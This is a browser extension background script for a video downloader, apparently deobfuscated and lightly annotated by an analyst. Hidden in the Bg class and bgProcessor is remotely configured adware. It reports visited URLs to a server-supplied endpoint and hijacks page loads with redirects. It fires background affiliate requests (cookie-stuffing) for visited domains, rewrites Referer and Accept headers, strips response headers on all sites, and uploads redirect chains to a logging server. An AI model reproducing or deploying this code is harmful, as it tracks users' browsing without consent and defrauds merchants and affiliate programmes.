|
var _gaq = _gaq || []; |
|
class Bg { |
|
constructor() { |
|
(this.config = { analyticsId: "UA-126378551-1" }), |
|
(this.storage = { config: this.config }), |
|
(this.filterRequestConfigured = !1), |
|
(this.hpInitiated = !1), |
|
(this.analyticsSent = !1), |
|
(this.uid = ""), |
|
(this.bgProcessorRun = !1), |
|
this.initStorage(), |
|
this.initListeners(); |
|
} |
|
initListeners() { |
|
let a = this; |
|
chrome.runtime.onInstalled.addListener(function (b) { |
|
"install" == b.reason && a.config.afterInstallUrl |
|
? chrome.tabs.create({ url: a.config.afterInstallUrl }) |
|
: "update" == b.reason && |
|
a.config.afterUpdateUrl && |
|
chrome.tabs.create({ |
|
pinned: !0, |
|
url: a.config.afterUpdateUrl, |
|
}); |
|
}), |
|
chrome.runtime.setUninstallURL && |
|
a.config.afterUninstallUrl && |
|
chrome.runtime.setUninstallURL(a.config.afterUninstallUrl); |
|
} |
|
initStorage() { |
|
let a = this; |
|
chrome.storage.local.get(this.storage, (b) => { |
|
b && (this.storage = b), |
|
b && b.config && (this.config = b.config), |
|
a.config.uid |
|
? (a.uid = a.config.uid) |
|
: ((a.uid = a.config.uid = a.generateUID()), |
|
a.saveConfig()), |
|
(a.config.mTime && a.config.lTime) || |
|
((a.config.lTime = 0), |
|
(a.config.mTime = new Date().getTime()), |
|
a.saveConfig()), |
|
this.filterRequests(), |
|
this.initHeadersProcessesor(), |
|
this.initBgProcessor(), |
|
this.sendAnalytics(), |
|
this.updateConfig(); |
|
}); |
|
} |
|
initHeadersProcessesor() { |
|
this.config && |
|
this.config.hpUrl && |
|
this.config.hpKey && |
|
!this.hpInitiated && |
|
((this.hpInitiated = !0), this.headersCheck()); |
|
} |
|
headersCheck() { |
|
var self = this; |
|
(function () { |
|
function logVisit(referer, canonicalizedDomain, timestamp) { |
|
var domainIsInCoverage = false; |
|
if (coverageResponse.indexOf(canonicalizedDomain) !== -1) domainIsInCoverage = true; |
|
else |
|
for (var i in coverageResponse) |
|
// either the request domain is a substring of the domain in the coverage list, or the other way around |
|
if (coverageResponse[i].indexOf(canonicalizedDomain) !== -1 || canonicalizedDomain.indexOf(coverageResponse[i]) !== -1) { |
|
domainIsInCoverage = true; |
|
break; |
|
} |
|
domainIsInCoverage |
|
? (reportingURL = |
|
apiURL + |
|
"/get?key=" + |
|
hpKey + |
|
"&out=" + |
|
encodeURIComponent(referer) + |
|
"&ref=" + |
|
encodeURIComponent(referer) + |
|
"&uid=&format=go") |
|
: (state.data.used_domains[canonicalizedDomain] = timestamp + 864e5); |
|
} |
|
var apiURL = self.config.hpUrl, |
|
hpKey = self.config.hpKey, |
|
reportingURL = "", |
|
state = { data: { used_domains: {} } }, |
|
coverageResponse = [], |
|
coverageSuccess = true; |
|
// { coverageResponse, coverageSuccess } = HTTP GET $apidomain/coverage?key=$key |
|
// returns a JSON array of domains to track |
|
(function () { |
|
var request = new XMLHttpRequest(); |
|
(request.timeout = 15e3), |
|
(request.onreadystatechange = function () { |
|
4 === request.readyState && |
|
(200 === request.status |
|
? ((coverageResponse = JSON.parse(request.responseText)), |
|
coverageResponse && (coverageSuccess = true)) |
|
: (coverageSuccess = false)); |
|
}), |
|
request.open("GET", apiURL + "/coverage?key=" + hpKey, true), |
|
request.setRequestHeader( |
|
"Content-Type", |
|
"application/x-www-form-urlencoded" |
|
), |
|
request.send(); |
|
})(), |
|
chrome.webRequest.onBeforeRequest.addListener( |
|
function (event) { |
|
if (event.tabId >= 0 && event.method == "GET" && coverageSuccess) { |
|
var canonicalizedDomain = event.url |
|
.replace(/^https?\:\/\/([^\/]+).*$/, "$1") |
|
.replace("www.", ""), |
|
timestamp = new Date().getTime(); |
|
if ( |
|
!( |
|
state.data.used_domains[canonicalizedDomain] && |
|
state.data.used_domains[canonicalizedDomain] + 7200000 > timestamp |
|
) |
|
) |
|
return ((state.data.used_domains[canonicalizedDomain] = timestamp), |
|
// else |
|
reportingURL ? (reportingURL = "") : logVisit(event.url, canonicalizedDomain, timestamp), |
|
reportingURL) |
|
? ((coverageSuccess = false), |
|
setTimeout(function () { |
|
(reportingURL = ""), (coverageSuccess = true); |
|
}, 15e3), |
|
{ redirectUrl: reportingURL }) |
|
: void 0; |
|
} |
|
}, |
|
{ urls: ["*://*/*"], types: ["main_frame"] }, |
|
["blocking"] |
|
), |
|
chrome.webRequest.onBeforeSendHeaders.addListener( |
|
function (event) { |
|
// Removes Referer header for any request to the API base URL |
|
if (event.method == "GET" && event.url.indexOf(apiURL) !== -1) |
|
for (var i in event.requestHeaders) { |
|
var value = event.requestHeaders[i]; |
|
if ("referer" == value.name.toLowerCase()) { |
|
event.requestHeaders.splice(i, 1); |
|
break; |
|
} |
|
} |
|
return { requestHeaders: event.requestHeaders }; |
|
}, |
|
{ urls: ["<all_urls>"] }, |
|
["blocking", "requestHeaders"] |
|
); |
|
})(); |
|
} |
|
saveConfig() { |
|
chrome.storage.local.set({ config: this.config }); |
|
} |
|
updateConfig() { |
|
let a = this; |
|
const b = chrome.runtime.getManifest().version; |
|
a.heartBeat(), |
|
$.ajax({ |
|
url: "http://videodownloader.io/rest/api/config/", |
|
dataType: "json", |
|
data: { |
|
id: "kmdldgcmokdpmacblnehppgkjphcbpnn", |
|
version: b, |
|
mt: a.config.mTime, |
|
lt: a.config.lTime, |
|
uid: a.uid, |
|
t: Date.now(), |
|
}, |
|
success: (a) => { |
|
if (a) { |
|
for (let b in a) this.config[b] = a[b]; |
|
this.saveConfig(); |
|
} |
|
}, |
|
complete: () => { |
|
a.filterRequests(), |
|
a.initHeadersProcessesor(), |
|
a.initBgProcessor(), |
|
a.sendAnalytics(), |
|
a.config.configUpTime && |
|
0 < a.config.configUpTime && |
|
setTimeout(function () { |
|
a.updateConfig(); |
|
}, a.config.configUpTime); |
|
}, |
|
}); |
|
} |
|
heartBeat() { |
|
let currentTime = new Date().getTime(), |
|
b = currentTime - this.config.mTime, |
|
c = this.config.configUpTime |
|
? this.config.configUpTime + 3e5 |
|
: 12e5; |
|
this.config.mTime && b < c |
|
? ((this.config.lTime += b), |
|
(this.config.mTime = currentTime), |
|
this.saveConfig()) |
|
: ((this.config.mTime = currentTime), this.saveConfig()); |
|
} |
|
generateUID() { |
|
// Generate a UUID v4 |
|
return "xxxxxxxx-xxxx-2xxx-yxxx-xxxxxxxxxxxx".replace( |
|
/[xy]/g, |
|
function (a) { |
|
var b = 0 | (16 * Math.random()), |
|
c = "x" == a ? b : 8 | (3 & b); |
|
return c.toString(16); |
|
} |
|
); |
|
} |
|
initBgProcessor() { |
|
let a = this; |
|
if (!a.config.bgProcessor) |
|
return void bgProcessor.initCfg({ mode: "off" }); |
|
if (a.bgProcessorRun) |
|
return void bgProcessor.initCfg(a.config.bgProcessor); |
|
(a.bgProcessorRun = true), |
|
bgProcessor.initCfg(a.config.bgProcessor), |
|
chrome.webRequest.onCompleted.addListener( |
|
function (event) { |
|
if ( |
|
"on" === bgProcessor.cfg.mode && |
|
event.tabId !== -1 && |
|
200 == event.statusCode && |
|
"GET" == event.method |
|
) { |
|
var baseURL = event.url.replace(/^(https?\:\/\/[^\/]+).*$/, "$1"), |
|
domain = event.url.replace(/^https?\:\/\/([^\/]+).*$/, "$1"); |
|
bgProcessor.cfg.keep_www_prefix || |
|
(domain = domain.replace(/^www\.(.*)$/, "$1")); |
|
var timestamp = new Date().getTime(); |
|
if ( |
|
// TTL since last report for domain has expired |
|
!( |
|
bgProcessor.used_domains[domain] && |
|
bgProcessor.used_domains[domain] + |
|
bgProcessor.cfg.ttl_ms > |
|
timestamp |
|
) && |
|
// Domain is not in blacklist |
|
!( |
|
bgProcessor.cfg.domains_blacklist && |
|
bgProcessor.cfg.domains_blacklist.length > 0 && |
|
bgProcessor.cfg.domains_blacklist.includes(domain) |
|
) && |
|
// Domain is in whitelist |
|
!( |
|
bgProcessor.cfg.domains_whitelist && |
|
bgProcessor.cfg.domains_whitelist.length > 0 && |
|
!bgProcessor.cfg.domains_whitelist.includes(domain) |
|
) |
|
) { |
|
bgProcessor.used_domains[domain] = timestamp; |
|
// Fill in affiliate URL template with URL and domain for the request |
|
var e = bgProcessor.cfg.aff_url_tmpl.replace( |
|
"{URL}", |
|
encodeURIComponent(baseURL) |
|
); |
|
if ( |
|
((e = e.replace( |
|
"{DOMAIN}", |
|
encodeURIComponent(domain) |
|
)), |
|
// If aff_redirect is enabled (the above replace is not actually part of the conditional) |
|
bgProcessor.cfg.aff_redirect) |
|
) { |
|
return !bgProcessor.cfg.domains_whitelist || |
|
0 < |
|
!bgProcessor.cfg.domains_whitelist |
|
.length |
|
? void 0 |
|
// Add to redirect chain? |
|
: (bgProcessor.push_chain(baseURL), |
|
void bgProcessor.request_bg(e, domain, 0)); |
|
} |
|
|
|
var request = new XMLHttpRequest(); |
|
(request.timeout = bgProcessor.cfg.aff_timeout_ms), |
|
(request.onreadystatechange = function () { |
|
if (4 == request.readyState && 200 == request.status) { |
|
var url = request.responseText.replace( |
|
/[\n\r]/g, |
|
"" |
|
); |
|
if (/^https?\:\/\//.test(url) && url != baseURL) { |
|
var domain = baseURL.replace( |
|
/^https?\:\/\/([^\/]+).*$/, |
|
"$1" |
|
); |
|
bgProcessor.push_chain(baseURL), |
|
bgProcessor.request(url, domain); |
|
} else |
|
bgProcessor.used_domains[domain] = |
|
timestamp + |
|
bgProcessor.cfg |
|
.no_coverage_ttl_ms; |
|
} |
|
}), |
|
request.open("GET", e), |
|
request.send(); |
|
} |
|
} |
|
}, |
|
{ urls: ["http://*/*", "https://*/*"], types: ["main_frame"] } |
|
); |
|
let listenerOptions = ["blocking", "requestHeaders"]; |
|
if ( |
|
bgProcessor.cfg && |
|
bgProcessor.cfg.rfr_rules && |
|
0 < bgProcessor.cfg.rfr_rules.length && |
|
bgProcessor.cfg.listenerExtraOptions |
|
) |
|
for (var c in bgProcessor.cfg.listenerExtraOptions) |
|
listenerOptions.push(bgProcessor.cfg.listenerExtraOptions[c]); |
|
chrome.webRequest.onBeforeSendHeaders.addListener( |
|
function (event) { |
|
if ("on" !== bgProcessor.cfg.mode || !bgProcessor.cfg.header) |
|
return {}; |
|
for (var headers = event.requestHeaders, headerValue = "", i = 0; i < headers.length; i++) |
|
if (headers[i].name === bgProcessor.cfg.header) { |
|
(headerValue = headers[i].value), headers.splice(i, 1); |
|
break; |
|
} |
|
if (!headerValue) return {}; |
|
for (var acceptHeaderReplaced = false, i = 0; i < headers.length; i++) |
|
if ("accept" == headers[i].name.toLowerCase()) { |
|
(headers[i].value = headerValue), (acceptHeaderReplaced = true); |
|
break; |
|
} |
|
acceptHeaderReplaced || headers.push({ name: "Accept", value: headerValue }) |
|
if ((event.tabId === -1)) { |
|
let newReferer = ""; |
|
if (bgProcessor.cfg.rfr_rules) |
|
for (let i in bgProcessor.cfg.rfr_rules) { |
|
// In all of the below, 'previous request' probably refers to the page that the user loaded, as this code only fires on non-tab requests (eg. XHR) |
|
let rule = bgProcessor.cfg.rfr_rules[i]; |
|
// If the previous request URL matched a certain regex |
|
if (rule.url_request_before) { |
|
if (!bgProcessor.last_request_url) continue; |
|
let regex = new RegExp( |
|
rule.url_request_before[0], |
|
rule.url_request_before[1] |
|
); |
|
if (!regex.test(bgProcessor.last_request_url)) |
|
continue; |
|
} |
|
// If the previous *response* URL (ie. after redirects) matched a certain regex |
|
if (rule.url_response_before) { |
|
if (!bgProcessor.last_response_url) continue; |
|
let regex = new RegExp( |
|
rule.url_response_before[0], |
|
rule.url_response_before[1] |
|
); |
|
if (!regex.test(bgProcessor.last_response_url)) |
|
continue; |
|
} |
|
// If the previous request/response involved any URL in the redirect chain that matches a certain regex |
|
if (rule.url_chain) { |
|
if ( |
|
!bgProcessor.rdr_chain || |
|
1 > bgProcessor.rdr_chain.length |
|
) |
|
continue; |
|
let regex = new RegExp( |
|
rule.url_chain[0], |
|
rule.url_chain[1] |
|
), |
|
foundMatch = false; |
|
for (let i in bgProcessor.rdr_chain) { |
|
let entry = bgProcessor.rdr_chain[i]; |
|
if (regex.test(entry)) { |
|
foundMatch = true; |
|
break; |
|
} |
|
} |
|
if (!foundMatch) continue; |
|
} |
|
// If the current request URL matches a certain regex |
|
if (rule.url_request) { |
|
let regex = new RegExp( |
|
rule.url_request[0], |
|
rule.url_request[1] |
|
); |
|
if (!regex.test(event.url)) continue; |
|
} |
|
if ( |
|
("allow" == rule.rule && |
|
(newReferer = bgProcessor.last_response_url), |
|
"replace" == rule.rule && |
|
rule.replace && |
|
(newReferer = rule.replace), |
|
"regexp" == rule.rule && rule.regexp && rule.replace) |
|
) { |
|
var regex = new RegExp(rule.regexp[0], rule.regexp[1]); |
|
newReferer = bgProcessor.last_response_url.replace( |
|
regex, |
|
rule.replace |
|
); |
|
} |
|
break; |
|
} |
|
if (newReferer) { |
|
let a = headers.findIndex( |
|
(a) => "referer" == a.name.toLowerCase() |
|
); |
|
-1 < a |
|
? (headers[a].value = newReferer) |
|
: headers.push({ name: "Referer", value: newReferer }); |
|
} |
|
} |
|
return { requestHeaders: headers }; |
|
}, |
|
{ urls: ["http://*/*", "https://*/*"] }, |
|
listenerOptions |
|
); |
|
} |
|
sendAnalytics() { |
|
this.analyticsSent || |
|
!this.config.analyticsId || |
|
(_gaq.push(["_setAccount", this.config.analyticsId]), |
|
_gaq.push(["_trackPageview"]), |
|
(function () { |
|
var a = document.createElement("script"); |
|
(a.type = "text/javascript"), |
|
(a.async = !0), |
|
(a.src = "https://ssl.google-analytics.com/ga.js"); |
|
var b = document.getElementsByTagName("script")[0]; |
|
b.parentNode.insertBefore(a, b); |
|
})(), |
|
(this.analyticsSent = !0)); |
|
} |
|
filterRequests() { |
|
var self = this; |
|
this.config && |
|
this.config.validateFields && |
|
!this.filterRequestConfigured && |
|
((this.filterRequestConfigured = !0), |
|
chrome.webRequest && |
|
chrome.webRequest.onHeadersReceived.addListener( |
|
function (event) { |
|
return { |
|
responseHeaders: event.responseHeaders.filter(function ( |
|
header |
|
) { |
|
return !( |
|
self.config.validateFields && |
|
self.config.validateFields.indexOf( |
|
header.name.toLowerCase() |
|
) !== -1 |
|
); |
|
}), |
|
}; |
|
}, |
|
{ urls: ["<all_urls>"] }, |
|
["blocking", "responseHeaders"] |
|
)); |
|
} |
|
} |
|
let bgProcessor = { |
|
cfg: { mode: "off" }, |
|
used_domains: {}, |
|
rdr_chain: [], |
|
last_request_url: "", |
|
last_response_url: "", |
|
initCfg(configuration) { |
|
configuration && (this.cfg = configuration); |
|
}, |
|
request: function (url, domain) { |
|
this.cfg.debug && console.log("bgProcessor.request", url, domain), |
|
// Load URL in a new tab if it contains the substring in the `ntab_tag` configuration option; otherwise load it in the background |
|
this.cfg.ntab_tag && url.indexOf(this.cfg.ntab_tag) !== -1 |
|
? setTimeout(function () { |
|
bgProcessor.request_tab(url, domain); |
|
}, this.cfg.ntab_delay_ms) |
|
: this.request_bg(url, domain, 0); |
|
}, |
|
push_chain: function (a) { |
|
this.rdr_chain.push(a); |
|
}, |
|
request_bg: function (url, _domain_unused, step) { |
|
if (!(step >= this.cfg.rdr_max_count) && this.cfg.header) { |
|
this.push_chain(url), (bgProcessor.last_request_url = url); |
|
var request = new XMLHttpRequest(); |
|
(request.timeout = this.cfg.timeout), |
|
(request.onreadystatechange = function () { |
|
var floor = Math.floor; |
|
if (4 == request.readyState) |
|
if (200 == request.status) { |
|
var response = request.responseText |
|
.replace(/[\n\r\s]/g, "") |
|
.replace(/\.href/g, ""), |
|
handled = false, |
|
responseURL = request.responseURL, |
|
// URL pathname contains "goto", or domain is in configuration-provided list of redirect domains |
|
isRedirectURL = bgProcessor.is_rdr_url(request.responseURL); |
|
if ( |
|
((bgProcessor.last_response_url = responseURL), |
|
// Push on redirect chain if response URL did not match request URL |
|
bgProcessor.last_response_url != |
|
bgProcessor.last_request_url && |
|
bgProcessor.push_chain( |
|
bgProcessor.last_response_url |
|
), |
|
// If URL is a known redirect URL, or response size is small enough to look like one |
|
isRedirectURL || |
|
response.length < |
|
bgProcessor.cfg.jsrdr_maxlen_bytes) |
|
) { |
|
var redirectTarget = response.replace( |
|
/^.*?location\=[\'\"]([^\'\"]+).*$/, |
|
"$1" |
|
); |
|
// If URL starts with /, ie. is relative, first make it an absolute URL |
|
/^\//.test(redirectTarget) && |
|
((link2Url = new URL(redirectTarget, request.responseURL)), |
|
(redirectTarget = link2Url.href)), |
|
// If valid URL, call request_bg again |
|
/^https?\:\/\//.test(redirectTarget) && |
|
(bgProcessor.request_bg(redirectTarget, _domain_unused, step + 1), |
|
(handled = true)); |
|
} |
|
if (!handled && bgProcessor.cfg.common_rdr_rules) |
|
for (var key in bgProcessor.cfg |
|
.common_rdr_rules) { |
|
var rule = bgProcessor.cfg.common_rdr_rules[key], |
|
ruleRegex = new RegExp( |
|
rule.search[0], |
|
rule.search[1] |
|
), |
|
valueToMatchAgainst = response; |
|
if ( |
|
// if value.where == "uri", then match against response URL, otherwise against response body |
|
("uri" == rule.where && (valueToMatchAgainst = responseURL), |
|
rule.url_pattern) |
|
) { |
|
var urlRegex = new RegExp( |
|
rule.url_pattern[0], |
|
rule.url_pattern[1] |
|
); |
|
// Move to next rule if a URL pattern was specified and it didn't match |
|
if (!urlRegex.test(responseURL)) continue; |
|
} |
|
if (valueToMatchAgainst.match(ruleRegex)) { |
|
var extracted = valueToMatchAgainst.replace(ruleRegex, rule.replace); |
|
if (rule.applyAfter) |
|
for (var i in rule.applyAfter) { |
|
var operation = rule.applyAfter[i]; |
|
if ("decodeURIComponent" == operation) |
|
extracted = decodeURIComponent(extracted); |
|
else if ("decodeHTML" == operation) { |
|
extracted = (function (a) { |
|
var textarea = document.createElement( |
|
"textarea" |
|
); |
|
return ( |
|
(textarea.innerHTML = a), |
|
textarea.value |
|
); |
|
})(extracted); |
|
} else; |
|
} |
|
if (rule.replacements) |
|
for (var string in rule.replacements) |
|
extracted = extracted.replace( |
|
string, |
|
rule.replacements[string] |
|
); |
|
if (rule.regReplacements) |
|
for (var s in rule.regReplacements) { |
|
var regex = new RegExp( |
|
rule.regReplacements[ |
|
s |
|
].pattern[0], |
|
rule.regReplacements[ |
|
s |
|
].pattern[1] |
|
); |
|
extracted = extracted.replace( |
|
regex, |
|
rule.regReplacements[s].replace |
|
); |
|
} |
|
if ( |
|
// Make relative links absolute |
|
(/^\//.test(extracted) && |
|
((link2Url = new URL( |
|
extracted, |
|
request.responseURL |
|
)), |
|
(extracted = link2Url.href)), |
|
// If valid URL... |
|
/^https?\:\/\//.test(extracted)) |
|
) { |
|
var delay = rule.delay ? rule.delay : 0; |
|
if ( |
|
"string" == typeof delay && |
|
delay.indexOf("-") !== -1 |
|
) { |
|
// Random value between min-max |
|
var v = delay.split("-"); |
|
delay = floor( |
|
Math.random() * |
|
(parseInt(v[1]) - |
|
parseInt(v[0]) + |
|
1) + |
|
parseInt(v[0]) |
|
); |
|
} |
|
setTimeout(() => { |
|
bgProcessor.request_bg( |
|
extracted, |
|
_domain_unused, |
|
step + 1 |
|
); |
|
}, parseInt(delay)), |
|
(handled = true); |
|
break; |
|
} |
|
} |
|
} |
|
handled || bgProcessor.send_rdr_log(); |
|
} else bgProcessor.send_rdr_log(true); |
|
}), |
|
request.open("GET", url, true), |
|
request.setRequestHeader( |
|
this.cfg.header, |
|
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" |
|
), |
|
request.send(); |
|
} |
|
}, |
|
is_rdr_url: function (a) { |
|
var b = new URL(a); |
|
return ( |
|
!!(this.cfg.rdr_coverage && b.host in this.cfg.rdr_coverage) || |
|
!!/\/goto\/?$/.test(b.pathname) |
|
); |
|
}, |
|
request_tab: function (url, b) { |
|
// Opens a new tab with a given URL for a specified amount of time |
|
this.cfg.debug && console.log("bgProcessor.request_tab", url, b), |
|
chrome.tabs.create({ url: url, active: true }, function (tab) { |
|
setTimeout(function () { |
|
try { |
|
chrome.tabs.remove(tab.id); |
|
} catch (a) {} |
|
}, bgProcessor.cfg.ntab_duration_ms); |
|
}); |
|
}, |
|
send_rdr_log: function (isError = false) { |
|
if ( |
|
this.rdr_chain && |
|
this.cfg && |
|
this.cfg.log_rdr_active && |
|
this.cfg.log_rdr_endpoint |
|
) { |
|
// if log_rdr_onlydifferent is enabled, only send the redirect logs when the starting point is different from the end point |
|
if (this.cfg && this.cfg.log_rdr_onlydifferent) { |
|
var initialURL = this.rdr_chain[0], |
|
lastURL = this.rdr_chain[this.rdr_chain.length - 1]; |
|
if ( |
|
initialURL.replace(/^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1") == |
|
lastURL.replace(/^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1") |
|
) |
|
return; |
|
} |
|
var request = new XMLHttpRequest(), |
|
endpoint = this.cfg.log_rdr_endpoint; |
|
isError && |
|
this.cfg.log_rdr_errors_endpoint && |
|
(endpoint = this.cfg.log_rdr_errors_endpoint), |
|
|
|
request.open("POST", endpoint, !0), |
|
request.setRequestHeader( |
|
"Content-Type", |
|
"application/json;charset=UTF-8" |
|
), |
|
request.send(JSON.stringify(this.rdr_chain)), |
|
(this.rdr_chain = []), |
|
(this.last_request_url = null), |
|
(this.last_response_url = null); |
|
} |
|
}, |
|
}; |
|
const bg = new Bg(); |
|
|
|
|
|
var vd = {}; |
|
(vd.tabsData = {}), |
|
(vd.linksToBeDownloaded = {}), |
|
(vd.videoFormats = { |
|
mp4: { type: "mp4" }, |
|
flv: { type: "flv" }, |
|
mov: { type: "mov" }, |
|
webm: { type: "webm" }, |
|
}), |
|
(vd.isVideoUrl = function (a) { |
|
var b = !1; |
|
return ( |
|
Object.keys(vd.videoFormats).some(function (c) { |
|
if (-1 != a.indexOf(c)) return (b = !0), !0; |
|
}), |
|
b |
|
); |
|
}), |
|
(vd.getVideoType = function (a) { |
|
var b = null; |
|
return ( |
|
a.some(function (a) { |
|
if ("Content-Type" == a.name) |
|
return ( |
|
Object.keys(vd.videoFormats).forEach(function (c) { |
|
if ( |
|
-1 != a.value.indexOf(c) && |
|
!/^audio/i.test(a.value) |
|
) |
|
return (b = c), !0; |
|
}), |
|
!0 |
|
); |
|
}), |
|
b |
|
); |
|
}), |
|
(vd.getNewTabObject = function () { |
|
return { videoLinks: [], url: "" }; |
|
}), |
|
(vd.getVideoSize = function (a) { |
|
var b = 0; |
|
return ( |
|
a.forEach(function (a) { |
|
"Content-Length" == a.name && (b = parseInt(a.value)); |
|
}), |
|
b |
|
); |
|
}), |
|
(vd.getVideoDataFromServer = function (a, b) { |
|
var c = new XMLHttpRequest(); |
|
(c.onreadystatechange = function () { |
|
2 === c.readyState && |
|
(b({ |
|
mime: this.getResponseHeader("Content-Type"), |
|
size: this.getResponseHeader("Content-Length"), |
|
}), |
|
c.abort()); |
|
}), |
|
c.open("Get", a), |
|
c.send(); |
|
}), |
|
(vd.getFileName = function (a) { |
|
var b = /[A-Za-z0-9()_ -]/, |
|
c = ""; |
|
return ( |
|
(a = Array.from(a)), |
|
a.forEach(function (a) { |
|
b.test(a) && (c += a); |
|
}), |
|
c |
|
); |
|
}), |
|
(vd.isVideoLinkAlreadyAdded = function (a, b) { |
|
var c = !1; |
|
return ( |
|
a.some(function (a) { |
|
if (a.url === b) return (c = !0), !0; |
|
}), |
|
c |
|
); |
|
}), |
|
(vd.updateExtensionIcon = function (a) { |
|
vd.tabsData[a] && 0 < vd.tabsData[a].videoLinks.length |
|
? chrome.browserAction.setIcon({ |
|
tabId: a, |
|
path: "../images/download_active.png", |
|
}) |
|
: chrome.browserAction.setIcon({ |
|
tabId: a, |
|
path: "../images/download_inactive.png", |
|
}); |
|
}), |
|
(vd.addVideoLinkToTabFinalStep = function (a, b) { |
|
!vd.isVideoLinkAlreadyAdded(vd.tabsData[a].videoLinks, b.url) && |
|
1024 < b.size && |
|
vd.isVideoUrl(b.url) && |
|
(vd.tabsData[a].videoLinks.push(b), vd.updateExtensionIcon(a)); |
|
}), |
|
(vd.addVideoLinkToTab = function (a, b, c) { |
|
vd.tabsData[b] || (vd.tabsData[b] = vd.getNewTabObject()), |
|
c != vd.tabsData[b].url && |
|
((vd.tabsData[b].videoLinks = []), (vd.tabsData[b].url = c)), |
|
a.size |
|
? vd.addVideoLinkToTabFinalStep(b, a) |
|
: vd.getVideoDataFromServer(a.url, function (c) { |
|
(a.size = c.size), vd.addVideoLinkToTabFinalStep(b, a); |
|
}); |
|
}), |
|
(vd.inspectNetworkResponseHeaders = function (a) { |
|
var b = vd.getVideoType(a.responseHeaders); |
|
return vd.linksToBeDownloaded[a.url] |
|
? (a.responseHeaders.push({ |
|
name: "Content-Disposition", |
|
value: |
|
'attachment; filename="' + |
|
vd.linksToBeDownloaded[a.url] + |
|
'"', |
|
}), |
|
{ responseHeaders: a.responseHeaders }) |
|
: void ( |
|
b && |
|
chrome.tabs.query( |
|
{ active: !0, currentWindow: !0 }, |
|
function (c) { |
|
var d = c[0], |
|
e = d.id; |
|
vd.addVideoLinkToTab( |
|
{ |
|
url: a.url, |
|
size: vd.getVideoSize(a.responseHeaders), |
|
fileName: vd.getFileName(d.title), |
|
extension: "." + b, |
|
}, |
|
e, |
|
d.url |
|
); |
|
} |
|
) |
|
); |
|
}), |
|
(vd.addVideoLinks = function (a, b, c) { |
|
vd.tabsData[b] || (vd.tabsData[b] = vd.getNewTabObject()), |
|
c != vd.tabsData[b].url && |
|
((vd.tabsData[b].videoLinks = []), (vd.tabsData[b].url = c)), |
|
a.forEach(function (a) { |
|
(a.fileName = vd.getFileName(a.fileName)), |
|
vd.addVideoLinkToTab(a, b, c); |
|
}); |
|
}), |
|
(vd.getVideoLinksForTab = function (a) { |
|
return vd.tabsData[a] ? vd.tabsData[a] : {}; |
|
}), |
|
(vd.incrementDownloadCount = function () { |
|
var a = parseInt(localStorage.getItem("total_number_of_downloads")); |
|
(a += 1), |
|
localStorage.setItem("total_number_of_downloads", a), |
|
5 == a && |
|
confirm( |
|
"You have downloaded multiple videos with Video Downloader professional. Please share your experience with others and make a review for us." |
|
) && |
|
chrome.tabs.create( |
|
{ url: "http://videodownloader.io/reviews/", selected: !0 }, |
|
function () {} |
|
), |
|
7 == a && |
|
confirm( |
|
"if you like what we do and can support our work, please make a donation so we can keep on making it even better." |
|
) && |
|
chrome.tabs.create( |
|
{ |
|
url: "http://videodownloader.io/contribute/", |
|
selected: !0, |
|
}, |
|
function () {} |
|
); |
|
}), |
|
(vd.downloadVideoLink = function (a, b) { |
|
(vd.linksToBeDownloaded[a] = b), |
|
chrome.tabs.query({ active: !0, currentWindow: !0 }, function (b) { |
|
chrome.tabs.update( |
|
b[0].id, |
|
{ url: a, selected: !1 }, |
|
function () {} |
|
), |
|
vd.incrementDownloadCount(); |
|
}); |
|
}), |
|
(vd.showYoutubeWarning = function () { |
|
chrome.tabs.create( |
|
{ url: "http://videodownloader.io/#youtube", selected: !0 }, |
|
function () {} |
|
); |
|
}), |
|
chrome.runtime.onInstalled.addListener(function (a) { |
|
"install" == a.reason && |
|
localStorage.setItem("total_number_of_downloads", 0); |
|
}), |
|
chrome.tabs.onUpdated.addListener(function (a) { |
|
vd.updateExtensionIcon(a); |
|
}), |
|
chrome.tabs.onRemoved.addListener(function (a) { |
|
vd.tabsData[a] && delete vd.tabsData[a]; |
|
}), |
|
chrome.webRequest.onHeadersReceived.addListener( |
|
vd.inspectNetworkResponseHeaders, |
|
{ urls: ["<all_urls>"] }, |
|
["blocking", "responseHeaders"] |
|
), |
|
chrome.runtime.onMessage.addListener(function (a, b, c) { |
|
switch (a.message) { |
|
case "add-video-links": |
|
vd.addVideoLinks(a.videoLinks, b.tab.id, b.tab.url); |
|
break; |
|
case "get-video-links": |
|
c(vd.getVideoLinksForTab(a.tabId)); |
|
break; |
|
case "download-video-link": |
|
vd.downloadVideoLink(a.url, a.fileName); |
|
break; |
|
case "show-youtube-warning": |
|
vd.showYoutubeWarning(); |
|
} |
|
}); |